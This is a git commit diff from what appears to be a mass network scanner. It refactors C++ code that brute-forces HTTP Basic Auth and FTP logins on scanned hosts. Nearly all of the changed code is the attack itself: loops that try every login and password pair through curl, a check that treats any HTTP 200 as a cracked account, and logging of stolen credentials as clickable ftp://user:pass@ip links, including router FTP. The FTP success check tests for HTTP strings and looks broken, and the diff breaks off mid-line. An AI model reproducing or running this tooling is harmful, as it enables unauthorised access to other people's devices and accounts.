mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
FTP & BA refactoring
This commit is contained in:
parent
ed0be87e60
commit
aa7e60d4fc
@ -1,24 +1,55 @@
|
|||||||
#include <BasicAuth.h>
|
#include <BasicAuth.h>
|
||||||
|
|
||||||
lopaStr BA::_BABrute(char *cookie,
|
bool BA::checkOutput(const string *buffer) {
|
||||||
char *ip,
|
if(Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
|
||||||
int port,
|
Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 ||
|
||||||
char *pathT,
|
Utils::ci_find_substr(*buffer, "http/1.1 200") != -1
|
||||||
char *method)
|
) {
|
||||||
{
|
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::_BALobby(char *cookie,
|
lopaStr BA::_BABrute(const char *ip, const int port) {
|
||||||
char *ip,
|
string buffer;
|
||||||
int port,
|
string lpString;
|
||||||
char *path,
|
lopaStr lps;
|
||||||
char *method)
|
ZeroMemory(lps.login, sizeof(lps.login));
|
||||||
|
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||||
|
ZeroMemory(lps.other, sizeof(lps.other));
|
||||||
|
|
||||||
|
strcpy(lps.login, "UNKNOWN");
|
||||||
|
|
||||||
|
for(int i = 0; i < MaxLogin; ++i) {
|
||||||
|
if(!globalScanFlag) return lps;
|
||||||
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
|
if (!globalScanFlag) return lps;
|
||||||
|
|
||||||
|
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||||
|
|
||||||
|
Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString);
|
||||||
|
|
||||||
|
if(checkOutput(&buffer) != 0) {
|
||||||
|
strcpy(lps.login, loginLst[i]);
|
||||||
|
strcpy(lps.pass, passLst[j]);
|
||||||
|
return lps;
|
||||||
|
};
|
||||||
|
|
||||||
|
Sleep(70);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
lopaStr BA::_BALobby(const char *ip, const int port)
|
||||||
{
|
{
|
||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||||
|
|
||||||
BruteUtils::BConInc();
|
BruteUtils::BConInc();
|
||||||
lopaStr res = _BABrute(cookie, ip, port, path, method);
|
const lopaStr &res = _BABrute(ip, port);
|
||||||
BruteUtils::BConDec();
|
BruteUtils::BConDec();
|
||||||
|
|
||||||
return res;
|
return res;
|
||||||
|
17
BasicAuth.h
17
BasicAuth.h
@ -1,22 +1,19 @@
|
|||||||
#ifndef BASICAUTH_H
|
#ifndef BASICAUTH_H
|
||||||
#define BASICAUTH_H
|
#define BASICAUTH_H
|
||||||
|
|
||||||
|
#include <Connector.h>
|
||||||
#include <BruteUtils.h>
|
#include <BruteUtils.h>
|
||||||
|
#include <Utils.h>
|
||||||
|
#include <externData.h>
|
||||||
#include <mainResources.h>
|
#include <mainResources.h>
|
||||||
|
|
||||||
class BA : BruteUtils{
|
class BA : BruteUtils{
|
||||||
private:
|
private:
|
||||||
lopaStr _BABrute(char *cookie,
|
static bool checkOutput(const string *buffer);
|
||||||
char *ip,
|
static lopaStr _BABrute(const char *ip, const int port);
|
||||||
int port,
|
|
||||||
char *pathT,
|
|
||||||
char *method);
|
|
||||||
|
|
||||||
lopaStr _BALobby(char *cookie,
|
public:
|
||||||
char *ip,
|
static lopaStr _BALobby(const char *ip, const int port);
|
||||||
int port,
|
|
||||||
char *path,
|
|
||||||
char *method);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // BASICAUTH_H
|
#endif // BASICAUTH_H
|
||||||
|
@ -172,7 +172,6 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha
|
|||||||
char login[32] = {0};
|
char login[32] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
char temp[64] = {0};
|
char temp[64] = {0};
|
||||||
isActive = 1;
|
|
||||||
BruteUtils::BConInc();
|
BruteUtils::BConInc();
|
||||||
int sz = 0;
|
int sz = 0;
|
||||||
char *ptr1 = 0;
|
char *ptr1 = 0;
|
||||||
@ -193,19 +192,16 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha
|
|||||||
{
|
{
|
||||||
if(i == 0) return -2; //Failhit
|
if(i == 0) return -2; //Failhit
|
||||||
BruteUtils::BConDec();
|
BruteUtils::BConDec();
|
||||||
isActive = 0;
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
else if(res == -2)
|
else if(res == -2)
|
||||||
{
|
{
|
||||||
BruteUtils::BConDec();
|
BruteUtils::BConDec();
|
||||||
isActive = 0;
|
|
||||||
return -2;
|
return -2;
|
||||||
};
|
};
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
};
|
};
|
||||||
BruteUtils::BConDec();
|
BruteUtils::BConDec();
|
||||||
isActive = 0;
|
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -232,9 +228,11 @@ int my_trace(CURL *handle, curl_infotype type,
|
|||||||
void *userp)
|
void *userp)
|
||||||
{
|
{
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case CURLINFO_HEADER_OUT:
|
case CURLINFO_HEADER_OUT: {
|
||||||
data[strstr(data, "\r\n\r\n") - data] = '\0';
|
data[strstr(data, "\r\n\r\n") - data] = '\0';
|
||||||
stt->doEmitionAddOutData(QString(data));
|
stt->doEmitionAddOutData(QString(data));
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
@ -248,22 +246,25 @@ static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *us
|
|||||||
|
|
||||||
int Connector::nConnect(const char *ip, const int port, std::string *buffer,
|
int Connector::nConnect(const char *ip, const int port, std::string *buffer,
|
||||||
const char *postData,
|
const char *postData,
|
||||||
const std::vector<std::string> *customHeaders){
|
const std::vector<std::string> *customHeaders,
|
||||||
|
const std::string *lpString){
|
||||||
|
buffer->clear();
|
||||||
CURL *curl = curl_easy_init();
|
CURL *curl = curl_easy_init();
|
||||||
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L);
|
||||||
|
|
||||||
if (curl)
|
if (curl)
|
||||||
{
|
{
|
||||||
if (MapWidgetOpened) {
|
if (MapWidgetOpened) {
|
||||||
struct data config;
|
struct data config;
|
||||||
config.trace_ascii = 1; /* enable ascii tracing */
|
config.trace_ascii = 1; /* enable ascii tracing */
|
||||||
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
|
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
|
||||||
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
|
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
|
||||||
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
||||||
}
|
}
|
||||||
curl_easy_setopt(curl, CURLOPT_URL, ip);
|
curl_easy_setopt(curl, CURLOPT_URL, ip);
|
||||||
curl_easy_setopt(curl, CURLOPT_PORT, port);
|
curl_easy_setopt(curl, CURLOPT_PORT, port);
|
||||||
curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
curl_easy_setopt(curl, CURLOPT_USERAGENT,
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
||||||
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||||
@ -296,14 +297,19 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer,
|
|||||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if(lpString != NULL) {
|
||||||
|
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_USERPWD, lpString);
|
||||||
|
};
|
||||||
|
|
||||||
curl_easy_perform(curl);
|
curl_easy_perform(curl);
|
||||||
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
|
||||||
curl_easy_cleanup(curl);
|
curl_easy_cleanup(curl);
|
||||||
} else {
|
} else {
|
||||||
stt->doEmitionRedFoundData("Curl error.");
|
stt->doEmitionRedFoundData("Curl error.");
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
return buffer->size();
|
return buffer->size();
|
||||||
}
|
}
|
||||||
int Connector::_ConnectToPort(char *ip, int port, char *hl)
|
int Connector::_ConnectToPort(char *ip, int port, char *hl)
|
||||||
|
@ -18,8 +18,9 @@ class Connector {
|
|||||||
|
|
||||||
public:
|
public:
|
||||||
static int nConnect(const char *ip, const int port, std::string *buffer,
|
static int nConnect(const char *ip, const int port, std::string *buffer,
|
||||||
const char *postData = NULL,
|
const char *postData = NULL,
|
||||||
const std::vector<std::string> *customHeaders = NULL);
|
const std::vector<std::string> *customHeaders = NULL,
|
||||||
|
const string *lpString = NULL);
|
||||||
static int _ConnectToPort(char *ip, int port, char *hl);
|
static int _ConnectToPort(char *ip, int port, char *hl);
|
||||||
static int _SSHLobby(char *ip, int port, std::string *buffer);
|
static int _SSHLobby(char *ip, int port, std::string *buffer);
|
||||||
};
|
};
|
||||||
|
62
FTPAuth.cpp
Normal file
62
FTPAuth.cpp
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
#include "FTPAuth.h"
|
||||||
|
|
||||||
|
bool FTPA::checkOutput(const string *buffer) {
|
||||||
|
//Login or password incorrect!
|
||||||
|
|
||||||
|
if(Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
|
||||||
|
Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 ||
|
||||||
|
Utils::ci_find_substr(*buffer, "http/1.1 200") != -1
|
||||||
|
) {
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) {
|
||||||
|
string buffer;
|
||||||
|
string lpString;
|
||||||
|
lopaStr lps;
|
||||||
|
ZeroMemory(lps.login, sizeof(lps.login));
|
||||||
|
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||||
|
ZeroMemory(lps.other, sizeof(lps.other));
|
||||||
|
|
||||||
|
strcpy(lps.login, "UNKNOWN");
|
||||||
|
|
||||||
|
for(int i = 0; i < MaxLogin; ++i)
|
||||||
|
{
|
||||||
|
if(!globalScanFlag) return lps;
|
||||||
|
if(strlen(loginLst[i]) <= 1) continue;
|
||||||
|
|
||||||
|
for(int j = 0; j < MaxPass; ++j)
|
||||||
|
{
|
||||||
|
if(!globalScanFlag) return lps;
|
||||||
|
if(strlen(passLst[j]) <= 1) continue;
|
||||||
|
|
||||||
|
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||||
|
|
||||||
|
Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString);
|
||||||
|
|
||||||
|
if(checkOutput(&buffer) != 0) {
|
||||||
|
strcpy(lps.login, loginLst[i]);
|
||||||
|
strcpy(lps.pass, passLst[j]);
|
||||||
|
return lps;
|
||||||
|
};
|
||||||
|
|
||||||
|
Sleep(70);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
lopaStr FTPA::_FTPLobby(const char *ip, const int port, const PathStr *ps){
|
||||||
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||||
|
|
||||||
|
BruteUtils::BConInc();
|
||||||
|
const lopaStr &lps = _FTPBrute(ip, port, ps);
|
||||||
|
BruteUtils::BConDec();
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
19
FTPAuth.h
Normal file
19
FTPAuth.h
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
#ifndef FTPAUTH_H
|
||||||
|
#define FTPAUTH_H
|
||||||
|
|
||||||
|
#include <Connector.h>
|
||||||
|
#include <BruteUtils.h>
|
||||||
|
#include <Utils.h>
|
||||||
|
#include <externData.h>
|
||||||
|
#include <mainResources.h>
|
||||||
|
|
||||||
|
class FTPA {
|
||||||
|
private:
|
||||||
|
static bool checkOutput(const string *buffer);
|
||||||
|
static lopaStr _FTPBrute(const char *ip, const int port, const PathStr *ps);
|
||||||
|
|
||||||
|
public:
|
||||||
|
static lopaStr _FTPLobby(const char *ip, const int port, const PathStr *ps);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // FTPAUTH_H
|
1701
connector_old.cpp
1701
connector_old.cpp
File diff suppressed because it is too large
Load Diff
@ -27,7 +27,7 @@ extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
|
|||||||
BALogSwitched;
|
BALogSwitched;
|
||||||
extern int found, indexIP, gMode,
|
extern int found, indexIP, gMode,
|
||||||
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
|
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
|
||||||
GlobalNegativeSize, isActive, gMaxBrutingThreads,
|
GlobalNegativeSize, gMaxBrutingThreads,
|
||||||
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
|
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
|
||||||
gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved,
|
gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved,
|
||||||
Susp,
|
Susp,
|
||||||
|
335
finder.cpp
335
finder.cpp
@ -4,6 +4,8 @@
|
|||||||
#include "externData.h"
|
#include "externData.h"
|
||||||
#include "WebformWorker.h"
|
#include "WebformWorker.h"
|
||||||
#include "Connector.h"
|
#include "Connector.h"
|
||||||
|
#include "BasicAuth.h"
|
||||||
|
#include "FTPAuth.h"
|
||||||
#include <memory>
|
#include <memory>
|
||||||
|
|
||||||
char* strstri(const char *_Str, const char *_SubStr)
|
char* strstri(const char *_Str, const char *_SubStr)
|
||||||
@ -404,7 +406,8 @@ int ContentFilter(const char *buff, int port, char *ip, char *cp)
|
|||||||
else return -1;
|
else return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, char *login, char *pass, char *comment, char *cdpg, char *clss)
|
void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title,
|
||||||
|
const char *login, const char *pass, char *comment, char *cdpg, char *clss)
|
||||||
{
|
{
|
||||||
if(trackerOK == true)
|
if(trackerOK == true)
|
||||||
{
|
{
|
||||||
@ -648,7 +651,6 @@ void fputsf(char *text, int flag, char *msg)
|
|||||||
fputs (topBuff, file);
|
fputs (topBuff, file);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
int innerCounter = 0;
|
int innerCounter = 0;
|
||||||
while(fOpened)
|
while(fOpened)
|
||||||
{
|
{
|
||||||
@ -658,7 +660,7 @@ void fputsf(char *text, int flag, char *msg)
|
|||||||
break;
|
break;
|
||||||
};
|
};
|
||||||
++innerCounter;
|
++innerCounter;
|
||||||
Sleep((rand() % 300 + 60));
|
Sleep((rand() % 100 + 60));
|
||||||
};
|
};
|
||||||
fOpened = true;
|
fOpened = true;
|
||||||
fputs (string, file);
|
fputs (string, file);
|
||||||
@ -793,35 +795,19 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
|
|||||||
ZeroMemory(msg, strlen(msg));
|
ZeroMemory(msg, strlen(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag)
|
void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag)
|
||||||
{
|
{
|
||||||
char log[512] = {0};
|
char log[512] = {0};
|
||||||
|
|
||||||
++PieBA;
|
++PieBA;
|
||||||
|
if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0)
|
||||||
strcpy(log, "[BA]:");
|
{
|
||||||
strcat(log, "<span id=\"hostSpan\"><a href=\"http://");
|
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%s@%s%s\"><font color=MediumSeaGreen>%s:%s@%s%s</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||||
if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) {
|
login, pass, ip, port, login, pass, ip, port, finalstr);
|
||||||
strcat(log, login);
|
} else {
|
||||||
strcat(log, ":");
|
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s%s\"><font color=MediumSeaGreen>%s%s</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||||
strcat(log, pass);
|
ip, port, ip, port, finalstr);
|
||||||
strcat(log, "@");
|
}
|
||||||
}
|
|
||||||
strcat(log, ip);
|
|
||||||
strcat(log, port);
|
|
||||||
strcat(log, "\"><font color=MediumSeaGreen>");
|
|
||||||
if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) {
|
|
||||||
strcat(log, login);
|
|
||||||
strcat(log, ":");
|
|
||||||
strcat(log, pass);
|
|
||||||
strcat(log, "@");
|
|
||||||
}
|
|
||||||
strcat(log, ip);
|
|
||||||
strcat(log, port);
|
|
||||||
strcat(log, "</font></a></span> T: <font color=GoldenRod>");
|
|
||||||
strcat(log, finalstr);
|
|
||||||
strcat(log, "</font>");
|
|
||||||
strcat(log, "\n");
|
|
||||||
|
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||||
|
|
||||||
@ -1039,10 +1025,8 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title)
|
void _specWFBrute(char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title)
|
||||||
{
|
{
|
||||||
char cookie[1024] = {0};
|
|
||||||
|
|
||||||
if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
|
if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
|
||||||
{
|
{
|
||||||
if(gNegDebugMode)
|
if(gNegDebugMode)
|
||||||
@ -1050,8 +1034,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
|||||||
stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Ignoring: Captcha detected.");
|
stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Ignoring: Captcha detected.");
|
||||||
};
|
};
|
||||||
return;
|
return;
|
||||||
};
|
};
|
||||||
isActive = 1;
|
|
||||||
|
|
||||||
char methodVal[128] = {0};
|
char methodVal[128] = {0};
|
||||||
char actionVal[512] = {0};
|
char actionVal[512] = {0};
|
||||||
@ -1208,8 +1191,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
|||||||
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
|
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
|
||||||
///putInFile(flag, ip, tport, recd, title, hl, cp);
|
///putInFile(flag, ip, tport, recd, title, hl, cp);
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
isActive = 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC)
|
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC)
|
||||||
@ -1231,19 +1213,18 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd)
|
void _specBrute(char *cookie, char *ip, int port,
|
||||||
|
char *hl, char *finalstr, int flag,
|
||||||
|
char *path, char *comment, char *cp, int recd)
|
||||||
{
|
{
|
||||||
isActive = 1;
|
|
||||||
lopaStr lps;
|
|
||||||
ZeroMemory(lps.login, sizeof(lps.login));
|
|
||||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
|
||||||
ZeroMemory(lps.other, sizeof(lps.other));
|
|
||||||
char temp[64] = {0};
|
char temp[64] = {0};
|
||||||
char tport[32] = {0};
|
char tport[32] = {0};
|
||||||
sprintf(tport, ":%d", port);
|
sprintf(tport, ":%d", port);
|
||||||
|
|
||||||
if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]");
|
const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port);
|
||||||
else lps = _BALobby(cookie, ip, port, path, "[NORMAL]");
|
|
||||||
|
//if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]");
|
||||||
|
//else lps = _BALobby(cookie, ip, port, path, "[NORMAL]");
|
||||||
|
|
||||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||||
{
|
{
|
||||||
@ -1435,11 +1416,6 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
lopaStr lps;
|
|
||||||
ZeroMemory(lps.login, sizeof(lps.login));
|
|
||||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
|
||||||
ZeroMemory(lps.other, sizeof(lps.other));
|
|
||||||
|
|
||||||
PathStr ps;
|
PathStr ps;
|
||||||
ps.port = p;
|
ps.port = p;
|
||||||
strcpy(ps.ip, ip);
|
strcpy(ps.ip, ip);
|
||||||
@ -1458,15 +1434,13 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
strcpy(ps.headr, GetTitle(buffcpy));
|
strcpy(ps.headr, GetTitle(buffcpy));
|
||||||
ps.flag = flag;
|
ps.flag = flag;
|
||||||
|
|
||||||
char pps[256] = {0};
|
char baPath[256] = {0};
|
||||||
strcpy(pps, "/");
|
strcpy(baPath, "/");
|
||||||
|
|
||||||
std::vector<std::string> redirStrLst;
|
std::vector<std::string> redirStrLst;
|
||||||
char rBuff[65536] = {0};
|
|
||||||
strncpy(rBuff, buffcpy, 65535);
|
|
||||||
if(flag == 0 || flag == 3 || flag == 7 )
|
if(flag == 0 || flag == 3 || flag == 7 )
|
||||||
{
|
{
|
||||||
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff);
|
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst);
|
||||||
strcpy(cp, ps.codepage);
|
strcpy(cp, ps.codepage);
|
||||||
if (rh == -1) return -1;
|
if (rh == -1) return -1;
|
||||||
if(rh <= -2)
|
if(rh <= -2)
|
||||||
@ -1478,7 +1452,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
};
|
};
|
||||||
|
|
||||||
int sz = strlen(ps.path);
|
int sz = strlen(ps.path);
|
||||||
strncpy(pps, ps.path, (sz < 256 ? sz : 256));
|
strncpy(baPath, ps.path, (sz < 256 ? sz : 256));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -1492,21 +1466,10 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
|
|
||||||
if(flag == 16)
|
if(flag == 16)
|
||||||
{
|
{
|
||||||
isActive = 1;
|
|
||||||
|
|
||||||
char log[2048] = {0};
|
char log[2048] = {0};
|
||||||
char logEmit[2048] = {0};
|
char logEmit[2048] = {0};
|
||||||
|
|
||||||
// strcpy(logEmit, "[FTP]:");
|
const lopaStr &lps = FTPA::_FTPLobby(ip, p, &ps);
|
||||||
// strcpy(log, "[FTP]:<font color=\"#0f62e2\">");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, port);
|
|
||||||
// strcat(log, "</font>");
|
|
||||||
// strcat(log, "; Received: ");
|
|
||||||
// strncat(log, std::to_string(recd).c_str(), 100);
|
|
||||||
|
|
||||||
lps = _FTPLobby(ip, p, &ps);
|
|
||||||
|
|
||||||
if(strstr(lps.other, "ROUTER") != NULL)
|
if(strstr(lps.other, "ROUTER") != NULL)
|
||||||
{
|
{
|
||||||
@ -1517,47 +1480,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
|
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
|
||||||
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
|
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
|
||||||
|
|
||||||
// strcat(log, "<a href=\"ftp://");
|
|
||||||
// strcat(log, lps.login);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, lps.pass);
|
|
||||||
// strcat(log, "@");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://");
|
|
||||||
// strcat(log, lps.login);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, lps.pass);
|
|
||||||
// strcat(log, "@");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>");
|
|
||||||
// strcat(log, ps.headr);
|
|
||||||
|
|
||||||
// strcat(logEmit, "<a href=\"ftp://");
|
|
||||||
// strcat(logEmit, lps.login);
|
|
||||||
// strcat(logEmit, ":");
|
|
||||||
// strcat(logEmit, lps.pass);
|
|
||||||
// strcat(logEmit, "@");
|
|
||||||
// strcat(logEmit, ip);
|
|
||||||
// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://");
|
|
||||||
// strcat(logEmit, lps.login);
|
|
||||||
// strcat(logEmit, ":");
|
|
||||||
// strcat(logEmit, lps.pass);
|
|
||||||
// strcat(logEmit, "@");
|
|
||||||
// strcat(logEmit, ip);
|
|
||||||
// strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://");
|
|
||||||
// strcat(logEmit, ip);
|
|
||||||
// strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>");
|
|
||||||
|
|
||||||
fputsf (log, flag, "FTP");
|
fputsf (log, flag, "FTP");
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
|
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||||
|
|
||||||
}
|
}
|
||||||
else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||||
{
|
{
|
||||||
@ -1568,37 +1495,6 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
|
